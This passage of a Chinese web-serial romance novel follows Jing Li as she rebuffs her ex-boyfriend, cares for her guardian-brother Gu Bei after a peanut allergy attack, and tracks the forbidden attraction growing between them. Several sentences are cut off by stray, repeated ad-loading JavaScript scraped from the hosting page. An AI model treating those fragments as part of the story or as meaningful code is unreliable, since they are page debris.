易梓薇平日里懵懵的,但面对感情并不是什么也不懂的傻白甜。 她明白陆檀在跟她暧昧。 对方是她的偶像,她却没有预想中的那么开心。 那个在微博上,在粉丝群里,各种感谢粉丝的陆檀,说没有粉丝就没有现在的他的陆檀,私下里对待粉丝的真心却不屑一顾。 而对她这个粉丝发的美照却尤为热情。 好割裂…… 想到这,易梓薇有些惆怅。 她点开陆檀的朋友圈,翻着他的自拍,嘴角又挂上了笑。 她是真喜欢这张脸,简直长在了她的审美点上。 别看她整天把“老公”挂在嘴边,但真要她和偶像恋爱,她则有贼心没贼胆。 先聊着吧,万一人家没那个意思呢。 她乐观地想着。 一上午的课在枯燥中度过。 荆梨全程不在状态,直到下课铃响她还恍惚着,慢吞吞地走出教学楼。 人群中,从另一栋楼里出来的易梓薇朝她奔过来,一把搂住她的胳膊,语气抱歉:“对不起啊亲爱的,我中午不能陪你吃饭了。” “叔叔叫你回家了?” 易梓薇目光躲闪:“对……中午家里有客人在,我爸让我回去吃。” 荆梨点头:“知道了,你去吧。” 易梓薇垂眸看向她的脚,迟疑道:“那你一个人能行吗?” 荆梨安抚一笑:“能行,放心吧。” 目送女孩离开,荆梨记起顾北早上的嘱咐,拿出手机打算提醒他来接自己,可下一秒,她脑海里又跳出那个视频。 瞬间止住了她所有的动作。 完了,看完视频,她现在根本不知道该怎么面对顾北。 荆梨懊恼地阖上眼,正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纠结着,手机突然震动了一下。 她低头一看,是周逸怀在问她下没下课。 哦对。 他昨晚跟她约饭来着。 既然暂时不知道怎么面对顾北,那就先避着吧,能躲一时是一时。 这么想着,她给周逸怀回道:【下了,你到东门等我吧。】 接着她又点开和顾北的聊天框,告诉他一声,中午不用来接她了。 【和朋友去吃饭,中午就不回去了,不用来接我。】 发完,她将手机静音,揣进口袋,不再去看。 强忍右脚的不适,她慢慢挪到东门,抬眼便瞧见了等在门口的周逸怀。 男生优越的身高和样貌格外显眼。 对方同样看见了她,脸上刚扬起笑,注意到她别扭的走路姿势后又猛然僵住。 周逸怀小跑到她跟前,眉头紧蹙:“脚怎么了?” 荆梨语气随意,没当回事:“扭到了,别管。”随即转移话题道,“待会吃饭你请客吗?” 周逸怀担忧的视线还绕在她脚踝上,闻言笑了笑:“当然,跟我在一块还能让你花钱。” 这话说的暧昧。 荆梨面无表情地瞥了他一眼,不动声色地错开他搀扶的手,一瘸一拐地走到前面。 “那我就不客气啦。” 周逸怀望着自己空荡荡的手,眼尾轻挑。 二人打车来到一家口碑不错的融合菜馆。 中午用餐高峰期,他们进门的时候发现一层基本满座了。 还好周逸怀提前定了位置,服务员领着他们上到二楼包厢。 包厢装潢典雅幽静,空气中浮着怡人的淡香,环境不错,显然请客之人是用了心的。 坐好后,周逸怀将菜单递给她:“你点吧。” 荆梨不跟他客气,点了几道服务员推荐的招牌菜,又随意点了两道自己想吃的。 服务员一走,包厢内霎时安静,淡淡的尴尬在空中蔓延。 荆梨喝了口热茶,忽视男生睇来的灼热目光,直接切入正题:“不是让我帮忙看看纹身图么,图呢?” 周逸怀没动,似笑非笑地看着她:“荆梨,你不会不知道这只是我约你吃饭的借口吧。” 荆梨没吭声,挑挑眉,不置可否。 她在装傻,不接招也不化招,足以表明她的态度。 “说真的,我一直很在意。”周逸怀轻笑,“你到底喜没喜欢过我。” 男生敛了笑,鹰一般锐利的眼神紧紧锁住她,不放过她一丝一毫的表情变化。 荆梨垂眸,掩盖眼里的心虚与愧疚。 她确实从来没喜欢过他。 长久的沉默代替了回答。 周逸怀呼吸微滞,喉结滞涩地滚了滚,嗓音嘶哑:“那为什么那个时候,问我要不要在一起……” “因为好玩。”荆梨抬眸直视男生的眼睛,“就这么简单,我想找个人试试恋爱的感觉,你恰好成了我的目标而已。” 话音落地,四周陷入死寂。 周逸怀怔在原地,一瞬不瞬地死死盯着她,眸光沉得骇人。 荆梨毫不示弱,梗着脖子和他对视,黑白分明的杏眸透着无畏和坦然。 这世上,除了顾北,她可以辜负任何一个人。 哪怕被骂“坏女人”,她都无所谓。 她就是这么一个没良心的人。 不知过了多久,周逸怀惨然一笑,被她打败了似的,肩膀倾颓,他狼狈地移开视线,声音很轻很轻,带着微不可察的无奈。 “荆梨,你够渣的。” 32.过敏 Chapter 32 “是嘛,还好吧。” 荆梨扬眉,并不惭愧,甚至觉得这个评价还挺酷的。 本该生气的周逸怀反倒被她这幅无所谓的模样给逗笑了,只不过唇角上扬的弧度带着点自嘲的意味。 他之前设想过无数种答案,去解释他和荆梨之间的“感情”,为她找了无数种借口,为什么强势走进他的心却又在被发现后那样果决地切断联系。 几乎快成了他的心病。 结果……她却说,只是因为好玩罢了。 撩拨一个沉闷无趣的书呆子,诱他沉沦,在他决定为她改变的时候快速抽离。 仔细想想,确实挺好玩的。 这才是荆梨啊,没心没肺,坏得坦荡,玩弄他的心又不负责。 让人又爱又恨,完全讨厌不起来。 周逸怀拿起滚烫的茶壶,给她空掉的茶杯续上水,再抬头,面上已无笑意,他眸光幽暗,硬朗的脸部线条微微绷紧:“真想看看你在爱情里被人辜负的样子。” “是不是和我想象的一样,可怜。” 荆梨轻顿,随即满不在乎地耸肩:“那可能要让你失望了,永远不会有那一天。” 周逸怀轻笑:“但愿吧。” 一顿饭在略微尴尬的氛围中快速结束。 荆梨吃得没滋没味。 她心里惦记着顾北。 男人中午饭一般都在设计院的食堂解决,但他常常忙于工作而忘了准时去吃饭,导致他最后总一个人吃剩下的残羹冷炙。 往常她都会在十二点左右发消息提醒他,可因为早上看到的视频她现在有点羞于面对顾北。 兜里的手机一直保持着安静的状态,她也没拿出来看一下。 周逸怀送她回了学校,临走前他指了指手机:“我把我要纹的图案发你微信了,记得帮我看看,给点修改意见。” 荆梨瞬间如同找到了碰手机的理由一般,忽视心头的别扭,掏出手机解锁,漫不经心地回:“知道了。” 周逸怀没再开口,深深地看了她一眼,走出一段距离后又停下脚步,侧身叫住她:“荆梨。” 微信消息正在缓慢加载,荆梨闻言抬眸,对上他的视线。 天气阴沉,浓厚的乌云遮蔽天日,风中湿气加重,眼看一场秋雨即将打湿这座城市。 记忆中戴着温吞慢热,连与她对视都不敢的少年,此时正眼神凌厉而赤忱地盯着她。 “我们重新来过吧。”他出声,沉着又不乏意气,“这次换我追你。” 荆梨神色微怔,眉心微不可查地跳了下,心绪纷杂。 或许是因为少年的执着,又或许是因为她的抱歉。 她没回答,周逸怀似乎也不需要她的答案,话落便干脆地转身离开。 消息也恰好加载完成,唯一的置顶毫无动静,还停留在一个小时前她让顾北别来接她的那条。 眉头倏然皱起。 荆梨不敢置信地点开确认。 顾北没回她。 他从来没有隔这么久不回她消息的时刻。 她不死心地看了看通话记录。 也没有男人的未接来电。 难不成他又沉浸在工作里忘掉时间了吗? 还是说,又忘了要来接她的承诺…… 这么想着,荆梨鼻尖一涩,带着点怒意的主动给他拨过去。 长久的嘟声让她心情愈发烦躁,在即将挂断的前一刻,对面终于接通了。 “你……” “喂,是小梨吗?” 荆梨刚开口,就被听筒里传来的陌生女声给打断。 一瞬间,她仿佛被扼住了脖颈,喘气都忘了。 “你是谁?”她语气染上不自知的冷意,“顾北呢?为什么你会接他的电话?” 辛恬望向躺在病床上的顾北,起身走远了点,手拢着嘴,压低嗓音道:“我是前几天给顾老师送文件的辛恬,我们见过的。” 听到辛恬这个名字,荆梨脑海兀地闪过一道长发白裙的苗条身影,心像被针刺了一下,微妙的痛感从胸腔蔓延至四肢百骸。 荆梨用力握住自己攥着手机的那只手。 它在微微发抖。 “顾老师出了点状况,现在不方便接电话。”辛恬说。 听到这话,心里腾起的阴暗情绪被对顾北的担忧压制,荆梨呼吸一滞,忙问:“他怎么了?” 辛恬自责地垂下眼:“医生说他是严重过敏,刚打完点滴,还没醒呢。” 过敏? 他为什么会接触到花生? 荆梨来不及细想,她现在只想立刻见到他。 “你们在哪儿呢?” “人民医院的门诊部……” 不等对方说完,荆梨便挂了电话,在打车软件上叫了辆快车。 二十分钟后,她一瘸一拐地来到辛恬告知的地点,很快就找到了顾北所在的观察区。 坐在床边的辛恬一眼就瞧见了满脸焦急的女孩,她赶忙迎上去:“小梨……” 荆梨却连看也没看她一眼,注意力全被床上的男人吸引了过去。 在视线触到顾北苍白的脸色时,荆梨眼睫倏而一颤,心脏像是临渊腾空,一股欲坠不坠的失重感,让她耳腔嗡鸣,周遭的一切都失了声。 她越过辛恬,径直走向病床。 辛恬见她脚步吃力,上前搀扶,被她抬手挡开。 辛恬顿住,神色复杂地看着女孩的背影。 明明距离很短,她却觉得自己走了好久好久,每一步都很沉重。 右脚的疼痛牵扯着她的神经,迫使她保持理智与清醒。 来到床边,只见男人那双漂亮的凤眼此时紧紧闭着,他领口大敞,露出的大片肌肤上布满可怖的红疹。 连睡着了他的眉头都在紧紧皱着,想来一定很难受。 荆梨眼圈陡然红透,她像面对一个易碎的瓷娃娃,目光无措地落在他身上,想触碰却又不太敢,轻颤的指尖与男人的眉心只余半寸的距离,堪堪停住。 视野逐渐被温热的泪雾模糊遮挡。 “都是因为我。”辛恬这时走到她身侧,语气低落,“我不知道顾老师花生过敏,在给他吃的三明治里加了不少花生酱。” 早上她把特意做的三明治放到顾北的办公桌上,回到自己的工位后就一直在等待对方的反馈,可过了许久微信都没动静,她试探性地问他吃得怎么样,如果觉得不错她明天继续给他带。 她不知道的是,因为她的提醒,顾北才想起还有个下属给的三明治没吃,他边认真盯着电脑里的模型,边拆开包装咬了一大口。 他自小查出花生过敏后就再没碰过花生制品,早 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忘记花生的味道了,所以一时间并未察觉到异样。 一整个吃完,给了辛恬好评,十几分钟后他的脖子和胳膊开始不同程度地发痒,起荨麻疹,呼吸也急促起来,喘不上来气,心跳猛烈加速,仿佛有团火在焚烧着他。 顾北立即起身求救,结果刚跌跌撞撞走出办公室,就一头栽倒在地。 听完辛恬的话,荆梨神色恹恹地闭了闭眼,她不想和对方拉扯,也不知道该如何面对她,便哑声道:“麻烦你了辛小姐,这里有我在,我陪着他,你先走吧。” “我……”辛恬哑然,目光不舍地望着男人,鼻头一酸,“我可以留下帮忙。” “不必了。”荆梨深吸口气,侧眸冷冷地说道,“他不需要你。” 辛恬身体一僵,对上女孩沉冷的目光,心口微窒。 女孩杏眼黑白分明,黑眼仁如墨般漆黑空洞,透着股幽暗的森然。 她没做任何表情,甚至连眼尾都没动,但她就是瞧出了一丝厌烦与排斥,还有些微难以言喻的敌意,像一头护食的炸毛小狼崽。 这种排斥与敌意从二人第一次见面好像就存在了。 她想不通,她俩毫无交集,为何荆梨会对她产生如此情绪。 难道是因为她害得她哥哥进医院了么。 思及此,辛恬稍稍压下怪异的感觉,再次低头表达了自己的歉意,拿上包最后看了眼顾北,转身离开。 世界终于只剩下兄妹二人。 荆梨周身竖起的刺慢慢松懈、变软,她坐了下来,俯身趴在床沿,小心翼翼地捧起顾北的手,将掌心缓缓贴在自己的脸侧。 源源不断的暖意从掌心蔓延,她依恋地蹭了蹭,用力眨眼挤掉眼泪,打湿的睫毛微微颤抖。 她实在看不得顾北露出这幅虚弱破碎的样子,宁愿他不回消息只是出于忘了和她的承诺,而不是因为生病与意外。 “为了不让她失望,连要命的花生都吃的下去。”沉默半晌,荆梨低哑的声音响起,“因为你我也跟着再没吃过花生,顾北,顾北……” 她吸了吸鼻子,委屈地喃着他的名字:“你真的很讨厌。” “你要我怎么办啊……” 说罢,眼泪又倾泻下来,她死死咬着下唇,咸涩的眼泪流进嘴里,难受得快要死掉。 顾北,我讨厌你。 讨厌你,让我连爱一个人都像在做贼心虚。 讨厌你,让我变得计较又古怪,对另一个毫无错处的女孩子散发恶意。 我恨你…… 也爱你。 思及此,她痛苦地哽咽,望着男人安静的睡颜,忍不住起身在他眉间落下虔诚而克制的一吻,唇瓣颤抖不止。 也只有在他不知情的时刻,她才敢散发自己汹涌的爱意。 她无比清楚自己对他的感情,没有模糊亲情的界限,她明确地知道,这是爱。 滚热的泪珠顺势落在顾北的额头,他眼皮微动,下一秒,兀地睁开眼。 荆梨没来得及坐回去,还保持着躬身的姿势,二人的脸靠得很近,所以当目光纠缠时,她没有遗漏男人眸中闪过的错愕与茫然。 “小梨。” 顾北先一步回神,虚弱地叫她,迷蒙的思绪逐渐清醒。 荆梨轻微吞咽,垂睫掩盖自己的情绪,自然地坐了回去。 “感觉怎么样?” 33.欲望 Chapter 33 顾北喉结无意识地滚动,他微微侧目,视线随着荆梨撤离的动作而移动,最后落在她被午后光晕包围的模糊身影上,神情怔然。 女孩身形消瘦,长发乖顺,发丝在光下熠熠生辉,整个人像蒙了层复古老旧的滤镜,如梦似幻,仿佛下一刻便会消失不见。 他看不清她的脸,却能感受到她的悲伤。 顾北呼吸一滞,忙伸出手,试图触碰她。 直到掌心回馈的温软触感才让他稍稍心安。 荆梨握住他突然抬起的手,忙问:“还是不舒服吗?” 女孩的声音和梦里的一样温柔,顾北一时恍惚,过速的心跳久久不曾平复。 他不自觉收紧手指,将女孩牢牢攥住,低眉垂掩自己眼里混乱不堪的情绪,嗓音沙哑:“好多了。” 荆梨闻言松了口气,起身将他滑到胸口的被子往上拽了拽,目光触及大片红疹时又不免心疼。 她咽下喉间的苦涩,低声问他:“要不要喝水?” 顾北下意识点头,一瞬不瞬地盯着从光里站起来的她,离开了那层朦胧的滤镜,他这才看见她脸上清晰的泪痕。 心一下揪起来,他拧眉道:“哭了?” 荆梨顿了顿,忙撇开脸,抬手抹掉眼角的湿润,倔强道:“没有。” 说罢,似是觉得难为情,她扭头扫视四周,没找到饮水机。 估计在外间,这么想着她松开顾北就要出去,结果刚迈出一步,手腕被对方用力抓住。 “去哪儿?”顾北力道很重,声音泄露着不安的急促。 荆梨诧异回头,对上他晦暗的黑眸,心跳蓦地漏了半拍。 “我去给你接热水。”她眨了眨眼,反手覆盖男人青筋浮凸的手背,安抚似的轻轻握了握,又柔声补充,“我一会儿就回来。” 顾北这才如梦方醒般仓皇松开手。 自己的反应有些过激了。 他低头抿了抿干涩的唇,从嗓子眼挤出一个微不可闻的:“嗯。” 望着女孩逐渐走远的背影,顾北忽然长长地、重重地,呼出胸口憋了许久的一团气。 他不知道自己这是怎么了,从醒来看到荆梨近在咫尺的那张脸开始心就一直跳得厉害。 估计与他刚才做的梦有关。 是不是梦他都不太能确定。 只记得耳边传来女孩低到几乎听不见的语气缱绻的呢喃。 以及她俯身落在他眉心的一吻。 思及此,顾北不禁抬手摸了摸自己的眉头,那里还残存着女孩唇瓣湿润的触感。 好真实,真实到他心底也在不受控地希望这个吻是真实的。 这个念头刚起来,顾北猛地一怔,眼里弥漫起浓烈的郁色。 他自我唾弃地闭上眼,全身的肌肉都在绷紧,垂落的双手死死攥成拳。 这一刻,他觉得自己应该是出问题了。 大问题。 不光是生理上,心理也是。 都说梦是真实心理的反射。 他现在连梦里都开始不由自主地越轨了。 也许他真要好好考虑一下自己的终身大事了。 他需要在事态还没进一步糟糕前赶快拨正自己病乱的心态。 去接触其他的异性,谈一场正常男女之间的,正常的恋爱。 而不是像一只发情的公狗一样,对自己从小带大的妹妹产生不该有的欲望,以及……卑劣的悸动。 - 下午只有一堂课,荆梨干脆向班主任请了假,陪顾北打完剩下的点滴。 直到天边暮色降临,他们才从医院出来。 顾北的车还停在设计院,荆梨便打了辆车。 等车的空档,二人谁都没说话,氛围静得诡异。 有些受不了这种沉默,荆梨偏头看了顾北一眼。 男人脸色还很苍白,半阖着眼不知道在想些什么,站在路边单手按着胸口,一副弱不禁风的病美人既视感。 那股难受的酸劲又冒了出来,她没忍住,开口酸道:“三明治好吃吗?” 听到这话,顾北掀起眼睫望向她,对上女孩别别扭扭的模样,唇角不由牵动了一下:“好吃。” 荆梨呼吸一涩,装作不在乎地别过脑袋。 片刻后,女孩鼻音浓重地嗡声说:“就那么好吃,好吃到你连命都不要了。” 顾北不知道她心里的弯弯绕绕,闻言苦笑:“如果知道那里面有花生酱我一定不会吃。” 荆梨一顿:“不知道?”但随即她又咕哝地切了声,“真不知道还是装不知道,我看是舍不得人家失望吧……” 她越说越小声,酸味都快要溢出来了。 “说什么呢?” 身后陡然出现的声音吓了她一跳,荆梨猛地回头,双目微瞠,发现顾北不知何时站在了她的背后。 对上男人似笑非笑的凤眼,她不禁脸颊发烫,有种吃醋被抓包的羞赧。 “这就被吓到啦。”顾北失笑,胸膛发出愉悦的震颤。 荆梨似嗔似怒地瞪了他一眼,不吭声了。 顾北敛了笑,继续解释:“是真的不知道,我已经快忘了花生的味道了,当时注意力也不在三明治上,吃完才反应过来。” 荆梨冷哼:“活该。” 嘴角却抑制不住地微扬。 爱会让人一瞬间地狱,又一瞬间天堂。 很折磨,很上瘾。 - 半小时后,二人终于艰难地回到家。 早上出门还只有一个人负伤,没想到晚上回来两人都倒下了。 顾北解开领口的扣子,露出胸前大片的肌肤,红疹看着比起白天要消了点,没那么可怖了。 他径直瘫倒在沙发上,右臂压着发胀的额头,整个人都在诠释难受二字。 荆梨在厨房倒了杯热水,搁在茶几上,按照医嘱取出定量的过敏药,弯腰靠近他,嗓音轻柔:“先别睡,把药吃了。” 男人眉头紧皱,闻言睁开眼,定定地看了她两秒,忽然开口:“不想动。” 荆梨愣了一瞬,随即反应过来:“那我喂你?” 顾北眸光暗了暗,面无表情地“嗯”了声。 许是身体不舒服,他难得抛弃了往日在她面前的担当与逞强,露出虚弱的一面。 荆梨对照顾他这件事乐意之至。 她坐到男人身边,将靠枕垫在他脑后,伸手将掌心里的药丸喂到他嘴里,接着拿起水杯送到他唇边。 药片太苦,刚接触舌苔就快速在口中蔓延传递。 顾北急于冲淡那要命的味道,所以喝得有些快,喉结随着他吞咽的动作大幅度滚动。 荆梨盯着那处,不由走神,忘记了控制水杯送服的力道,结果一个不注意水全都倒在了顾北身上。 “!” 场面陡然僵滞,二人都愣在了原地。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “对不起对不起!” 荆梨率先回过神,忙伸手抽桌上的纸巾,慌乱去擦洒在男人胸口的水渍。 顾北懵了几秒,眼尾漾出无奈的溺笑,他试图制止,但刚要开口又不自觉停住了。 他衬衫的扣子在刚才的一番折腾下又绷开几颗,此时他的胸腔连带着半截腹部全都暴露在了空气中,水液一路滑落,在肌肤上留下蜿蜒的痕迹。 荆梨擦拭的动作慢慢停下,她直勾勾的目光正盯着他的腹肌,眼睛一眨不眨,带着莫名的炙热。 注意到她的视线,顾北僵硬了一瞬,耳尖迅速充血。 他稍稍躬身,拉上分开的衬衫,面上闪过狼狈。 “不碍事,正好我要去洗澡。” 他快速从沙发站起来,逃也似的朝浴室大步走去,哪还有半点虚弱的样子。 荆梨一动不动,手僵在半空,眼前还浮动着那块肖想已久的巧克力,脑子里乱七八糟,脸烫得不成样子。 所以自然也没察觉到男人不同以往的反应。 - 站在刻意调低的温水下,顾北鼻息粗重,胸膛剧烈起伏,眼里满是茫然的迷离。 他现在满脑子都是些不对劲的画面。 连带着这个浴室都变得不对劲起来。 蒸腾的水汽,馥郁的小苍兰香气,坐在地上只裹了件浴巾的少女,以及向他祈求的可怜目光…… 一切的一切,交织成密不透风的大网,将他笼在其中,扰乱着他的身与心。 理智在血液沸腾面前不堪一击。 顾北难耐地闭上眼,耳边是自己重如擂鼓的心跳。 他像是第一次认识自己。 原来他的思想如此肮脏,欲望被挑起的手段如此低级。 ……或许真实的他就是如此低级。 思及此,他颓然地长长叹了口气,自我放弃般将水温又调低了点,几乎没什么热度可言了。 他意图用凉水来浇息些什么。 - 想起顾北一整天都没怎么好好吃东西,荆梨便打算给他煮点粥暖暖胃。 没想到一锅粥都炖好了,他才从洗完澡从浴室出来。 男人换上了干净的家居服,上衣扣子全部扣好,领口都竖了起来,透着股傻气。 荆梨瞥见不觉撇了撇嘴,暗道这是在防谁呢。 “怎么洗这么长时间?”她问道。 顾北脸色比洗澡前更差了点,他没回答,沉默坐下,拿起勺子一言不发地开始喝粥。 荆梨见状也不再追问他,将一管药膏轻轻放在他右手边:“如果身上还痒就涂这个。” 顾北不敢看她,闷头“嗯”了声。 “后背涂不到就叫我。” 安静了五秒,女孩又贴心道。 “唔!” 男人慌忙搁下勺子,捂住被烫到的嘴唇,黑眸洇出湿意。 荆梨愣了愣,不由失笑,杏眼弯成月牙状:“慢点喝,刚出锅很烫的。” 顾北意味不明地飞快看了她一眼,心虚几乎藏不住。 恰好这时客厅方向传来铃声,他有了逃跑的借口:“我去接个电话。” 话音刚落,他三步并作两步地走到茶几前,看见手机上显示着“辛恬”的名字。 “喂,小恬。” 顾北轻咳一声,尽量让自己冷静下来。 听到“小恬”这个名字,荆梨眸光霎时黯淡,什么好心情都没有了。 34.疯了 Chapter 34 “顾老师,您到家了吗?身体感觉怎么样?”辛恬嗓音低缓,话语间带着不加掩饰的关心与担忧。 “已经到家了,身体没什么大碍,你放心。” 顾北语气温沉,不乏安抚。 话落,餐厅那边忽然传来蹬腿与地板摩擦的声响,他顺势扭脖望过去,结果看到荆梨站起身,将他才喝了几口的粥收了起来,紧接着关掉厨房灯,回到她自己的卧室。 顾北一顿,眯起眼盯着女孩紧闭的房门,久久未曾回神。 电话那头好像又说了些什么,但他已经没心思去听了。 “顾老师?”对面忽然陷入沉默,辛恬不由轻声呼唤,“顾老师您还在听吗?” “啊……”顾北收回视线,原本还算平稳的情绪陡然降落,他疲惫地阖了阖眼,嗓音愈发沙哑:“抱歉,刚刚走神了,你再说一遍。” 辛恬没察觉到男人的心不在焉,重复道:“今天害您遭了这么大的罪,我心里实在过意不去,请您一定要给我一个补偿您的机会。” 顾北干脆在沙发边坐下,手肘支着膝盖,眼尾倦懒地垂耷着。 他边揉捏额角,边推脱道:“补偿就不必了,你又不知道我花生过敏,今天的事我自己也有责任,没有检查就吃了下去。” “别自责了,就让这事过去吧。” 或许有夜色的加持,隔着手机,男人疲惫低沉的嗓音显得格外温柔性感。 辛恬耳朵酥麻,心口悸动不已。 她不禁回忆起与顾北初次见面的那天。 她是同批次实习生中履历最漂亮的一个,所以自然而然被分到顾北手底下做事。 其实在进入设计院之前,她早已对这位行业内大佬级别的人物心生崇拜。 她研究过顾北所有的设计作品,也看过他的照片。 但当她亲眼见到他的瞬间,还是被惊艳到了。 男人过于优越的外貌和强大的气场使他自带拒人千里的疏离感,让人不自觉在他面前紧张局促。 第一次跟他单独开会时,辛恬甚至紧张到胃痉挛,没忍住干呕出声,特别丢脸。 她连忙起身道歉,脖颈压到最低,根本不敢和男人对视。 本以为顾北会叫她出去调整好再回来继续,没成想对方却直接提前结束了会议,语气温和地问她是不是身体不舒服,难受的话可以回家休息。 那一刻,她忽然有种被温水浸泡的感觉,心间咕嘟冒出泡沫,不断绵密,最后沸腾。 喜欢上顾北似乎是件极其顺理成章的事情。 没有人能抗拒得了他。 “顾老师,您越这么说我心里越过不去,医生今天都跟我说了,但凡晚送医院一步就会危及生命……”辛恬顿住,心里阵阵后怕,她深吸口气,言辞恳切,“所以拜托您一定要让我弥补!” 顾北有些头疼。 看对方这架势,他不答应的话估计会一直纠缠下去。 “好吧。”他无奈松了口。 辛恬嘴角瞬间上扬。 “不过我不接受金钱上的弥补。”顾北淡声补充,“毕竟你还在考察期,我是你的直系领导。” 辛恬轻笑:“您放心,我明白的。” 总算挂断电话,顾北又在客厅坐了会儿。 偌大的房子安静得可怕,他下意识放缓呼吸,仔细聆听着什么。 主卧的方向一点声音也没有。 难道她已经睡了么? 思及此,顾北面色一僵,懊恼地垂下脑袋。 怎么思绪一放空,就控制不住地开始想她了呢。 好奇她在干什么,好奇她为什么突然一声不吭地回屋。 真的疯了…… 顾北生出揍狠狠揍自己一拳的冲动。 但紧接着他又宽慰自己,应该只是憋太久导致激素紊乱了。 这么想着,他慢慢冷静下来,自嘲原来他也和那些俗气的男人一样,重欲还不敢承认。 快刀斩乱丝,不能再任由那变质的念头继续发展下去了。 顾北正了正神色,点开刘春迎的微信,郑重其事地打字道:【舅妈,上次你提到的那位谭小姐,可以介绍我们认识一下吗?】 刘春迎回复的很快:【可以呀,你想通了?】 顾北:【嗯,我年纪确实不小了,工作稳定,荆梨也上了大学,我是该步入下一个阶段了。】 刘春迎二话不说立刻将谭小姐的微信分享给他。 【你开窍了就好,这是她的微信,我刚刚跟她妈打过招呼了,你直接加就行。】 顾北:【谢谢舅妈。】 刘春迎:【跟人家好好聊,约出来吃个饭或者看看电影,主动点。】 顾北:【我知道。】 点开女生的微信主页,顾北却又打起退堂鼓,指尖悬在申请添加好友的选项上方,迟迟未动。 他一直清楚,在感情方面,他无比踌躇与胆小。 说怯懦都不为过。 从小到大,他没对谁动过心,根本不知道喜欢一个人是什么样子,也不知道陷入爱情是什么滋味。 他觉得自己会搞砸一切。 所以宁愿放弃也不愿开启一段关系。 但现在……为了荆梨的安全,以及这个家的健康发展,他得勇敢起来,主动迈出这一步。 - 第二天,望着辛恬递过来的音乐会门票,顾北挑了挑眉:“这就是你说的弥补?” 辛恬点头:“是德国很出名的一支交响乐团,恰好明天在梧城有一场演出,我特意托朋友买的票。” 顾北伸手接过,看了眼票上的信息。 明晚八点,梧城大剧院。 还是前排VIP座位,一张票就要一千多。 他对古典乐实在提不起兴趣。 倒是荆梨那丫头喜欢。 见顾北表情迟疑,辛恬忙道:“最多一个半小时就结束了,不会耽误您太长时间的。” “我不是在意时间。”顾北说,“就是想问问你,能请你朋友再帮我买张票吗?我付钱。” 辛恬讶异:“您想再买一张?” 顾北点点头,他目光低垂,面上浮现淡淡温柔的笑意。 “我妹妹很喜欢听古典乐,想叫上她一起。” 辛恬闻言脑海中划过荆梨那带着排斥的眼神,呼吸轻顿。 她一时低落,有些说不出话来。 本来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打算借此和顾北来场双人约会,增进下感情的。 他妹妹也来的话……算什么啊…… “不方便吗?” 见她沉默,顾北也觉得自己的要求可能有点过分了。 “不好买就算了……” “没有!”辛恬很快回过神,连忙否认,“没有不方便,再要一张是吧,我待会就去问我朋友。” 顾北道了声谢,点开微信就要给她转钱,却被辛恬眼疾手快地拦下。 “还不确定有没有余票,等他给我回复了您再转钱也不迟。” 顾北放下手机:“那就麻烦你了。” - 走出办公室回到自己的工位,辛恬给那个在剧场工作的朋友拨去电话。 对方很快接通。 “你那边还有明晚演出的余票吗?”辛恬开门见山。 对面回:“没了,都卖光了,我手里的票也都散出去了。” “咋了?给你两张票不够啊?” 听到对方的回答,辛恬蓦然松了口气,压抑的心情瞬间回暖。 “够,当然够,我就好奇问问,挂了啊,过两天请你吃饭。” 挂断电话,辛恬美滋滋地给顾北发了条信息,表示很遗憾,已经没有票了。 顾北也没说什么,回了个:【好,那算了吧。】 一想到明晚要和顾北单独出去看演出,辛恬就克制不住脸上的笑意,一整天都乐呵呵的,恼人的模型都变得顺眼了。 - 临近午休,顾北提前下了班,开车到荆梨学校接她一起去吃饭。 结果刚停好车,他就透过窗户瞧见荆梨那个前早恋对象已经等在了门口。 莫名的,顾北眸色一沉,掌着方向盘的手倏地收紧。 不一会儿,他注意到荆梨从校园里慢吞吞地走出来,臭小子跟狼嗅到肉似的,顿时就扑了过去,殷勤地递奶茶,接背包。 从顾北的角度看去,他家的“肥肉”正对着那小子扬眉浅笑,颊边梨涡清甜,在阳光下灿烂得不行。 样貌姣好的少男少女站在一块,说不出的合配养眼。 看来二人已经背着他“相处”很久了。 顾北沉沉地盯着他们,眸光晦暗不明,看不出情绪。 片刻后,他忽然极轻地哧笑一声,舌尖轻抵左腮,眉宇间拂过不易察觉的阴鸷。 “待会请你去吃我们学校的食堂。”周逸怀笑容耀眼,看起来心情不错。 荆梨犹豫地看着被他夺过去的包,正琢磨如何体面地拒绝,下一秒,身后就传来了一道声线低沉的男声。 “不是让你在保安室乖乖等我么,怎么又乱跑。” 顾北伸手搭在女孩的肩头,稍稍用力,便将她揽入自己的怀中。 荆梨心跳微滞,抬头对上顾北低下来的目光。 男人的眼神透着熟悉的侵略性,是异性间的那种,她不禁晃神,一瞬间以为自己看错了。 “这位周同学。” 顾北的视线没和她纠缠太久,落在对面怔住的男生身上,语气冷淡。 “又缠着我家小梨说什么呢?” 他用的是“又”和“缠”。 言外之意——你很烦人。 35.占有 Chapter 35 顾北叫他周同学。 看来他知道自己是谁。 周逸怀很快反应过来,面对身着西装气场强大的男人,他下意识绷直脊背,板正神色,很礼貌地跟对方打招呼:“荆梨哥哥你好。” 顾北深深地睨了他一眼,没搭话。 无声的威压从他身上散发,气氛一时尴尬。 周逸怀眼睛看向注意力完全被顾北吸引过去的荆梨,吞咽一口,继续道:“我是荆梨的……高中同学,我想邀请荆梨中午一起吃饭。” 顾北闻言微微挑眉,低头轻哂:“那怎么办,我也要请小梨吃饭。” 他话是对周逸怀说的,看的却是怀中神情呆怔的荆梨,语气中带着毫不走心的苦恼。 望着顾北似笑非笑的黑眸,荆梨心跳微滞,有些失神。 怎么感觉……他好像在逼她做选择。 茶茶的。 但她很喜欢。 荆梨情不自禁地朝他扬起唇,眸光潋滟流转,明亮的琥珀色瞳仁里只倒映出他的模样。 笑容比方才他在车里见到的更为真实明媚。 顾北不由一怔,似被灼到一般,他蓦地沉下脸,轻滚喉结,不动声色地别开眼。 “不好意思啊周逸怀。”荆梨朝男生伸出手,“我跟我哥已经约好了,把包给我吧。” 她语气平淡,表情甚至算得上冷漠,足以让喜欢她的人寒心。 